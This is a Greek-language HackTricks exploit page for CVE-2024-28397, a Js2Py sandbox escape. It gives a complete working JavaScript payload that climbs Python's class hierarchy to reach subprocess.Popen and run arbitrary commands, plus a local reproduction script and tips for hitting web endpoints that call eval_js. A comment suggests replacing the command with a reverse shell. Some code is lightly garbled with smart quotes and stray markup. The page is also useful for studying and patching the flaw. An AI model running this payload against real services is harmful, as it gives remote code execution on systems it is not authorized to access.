Js2Py sandbox escape (CVE-2024-28397)
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Το Js2Py μεταφράζει JavaScript σε Python αντικείμενα, οπότε ακόμα και όταν χρησιμοποιείται το js2py.disable_pyimport(), μη αξιόπιστο JS μπορεί να διασχίσει τα Python internals για να φτάσει σε επικίνδυνες κλάσεις όπως subprocess.Popen. Οι εκδόσεις 20.74 επιτρέπουν την κατάχρηση των Python reflection primitives που το Js2Py εκθέτει σε JS objects για να αποκτήσει RCE από διαφορετικά “sandboxed” JavaScript.
Βασική τεχνική: pivot από JS object wrappers σε Python objects
- Πάρε ένα αντικείμενο υποστηριζόμενο από Python:
Object.getOwnPropertyNames({})επιστρέφει ένα αντικείμενοdict_keysστον χώρο της Python. - Ανάκτησε πρόσβαση σε attributes: πάρε το
.__getattribute__από εκείνο το αντικείμενο και κάλεσέ το για να διαβάσεις αυθαίρετα attributes (π.χ."__class__"). - Σκαρφάλωσε στο
object: από<class 'dict_keys'>διάβασε το.__base__για να φτάσεις στη βασική κλάσηobjectτης Python. - Κατάγραψε τις φορτωμένες κλάσεις: κάλεσε
object.__subclasses__()για να διασχίσεις κάθε κλάση που έχει φορτωθεί στον interpreter. - Εύρεση
subprocess.Popen: αναδρομικά ψάξε στις subclasses όπου__module__ == "subprocess"και__name__ == "Popen". - Εκτέλεσε εντολή: δημιούργησε ένα instance του Popen με παραμέτρους ελεγχόμενες από τον attacker και κάλεσε
.communicate()για να συλλέξεις την έξοδο.
Παράδειγμα payload που καταχράται το Js2Py για να φτάσει στο subprocess.Popen
```javascript // Replace cmd with desired payload (reverse shell / ping / etc.) let cmd = "id"; let hacked, bymarve, n11; let getattr, obj;hacked = Object.getOwnPropertyNames({}); // -> dict_keys([]) bymarve = hacked.getattribute; n11 = bymarve(“getattribute”); // attribute access primitive obj = n11(“class”).base; // pivot to <class ‘object’> getattr = obj.getattribute;
function findpopen(o) { let result; for (let i in o.subclasses()) { let item = o.subclasses()[i]; if (item.module == “subprocess” && item.name == “Popen”) { return item; } if (item.name != “type” && (result = findpopen(item))) { return result; } } }
// Popen(cmd, stdin/out/err pipes…) then .communicate() for output n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate(); console.log(n11); n11; // returned to caller if framework sends eval_js result back
</details>
Γιατί αυτό λειτουργεί: Το Js2Py εκθέτει περιτυλίγματα αντικειμένων Python στο JS χωρίς να αφαιρεί τα `__getattribute__`, `__class__`, `__base__`, ή `__subclasses__`. Η `disable_pyimport()` μπλοκάρει μόνο ρητά το `pyimport`, αλλά η παραπάνω αλυσίδα δεν εισάγει ποτέ κάτι καινούριο· επαναχρησιμοποιεί ήδη φορτωμένα modules και classes στη μνήμη.
## Τοπική αναπαραγωγή της αλυσίδας
```bash
# Js2Py 0.74 breaks on Python 3.12/3.13; pin 3.11 for testing
uv run --with js2py==0.74 --python 3.11 python - <<'PY'
import js2py
print(js2py.eval_js("Object.getOwnPropertyNames({})")) # dict_keys([])
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__")) # method-wrapper
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\")"))
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__"))
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__.__subclasses__()"))
PY
Ενέργειες εναντίον web sandboxes
- Οποιοδήποτε endpoint που τροφοδοτεί JavaScript ελεγχόμενο από τον επιτιθέμενο στο
js2py.eval_js(για παράδειγμα, ένα Flask/run_codeAPI) αποτελεί άμεσο RCE εάν ο χρήστης της διεργασίας έχει πρόσβαση σε shell. - Η επιστροφή του
jsonify({'result': result})θα αποτύχει όταν.communicate()επιστρέφει bytes· αποκωδικοποιήστε ή κατευθύνετε την έξοδο σε DNS/ICMP για να αποφύγετε εμπόδια σειριοποίησης. disable_pyimport()δεν μετριάζει αυτήν την αλυσίδα· απαιτείται σκληρή απομόνωση (ξεχωριστή διεργασία/container) ή η κατάργηση της εκτέλεσης μη αξιόπιστου κώδικα από Js2Py.
Αναφορές
- HTB: CodeTwo write-up (Js2Py CVE-2024-28397 escape)
- Marven11 CVE-2024-28397 Js2Py sandbox escape PoC
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


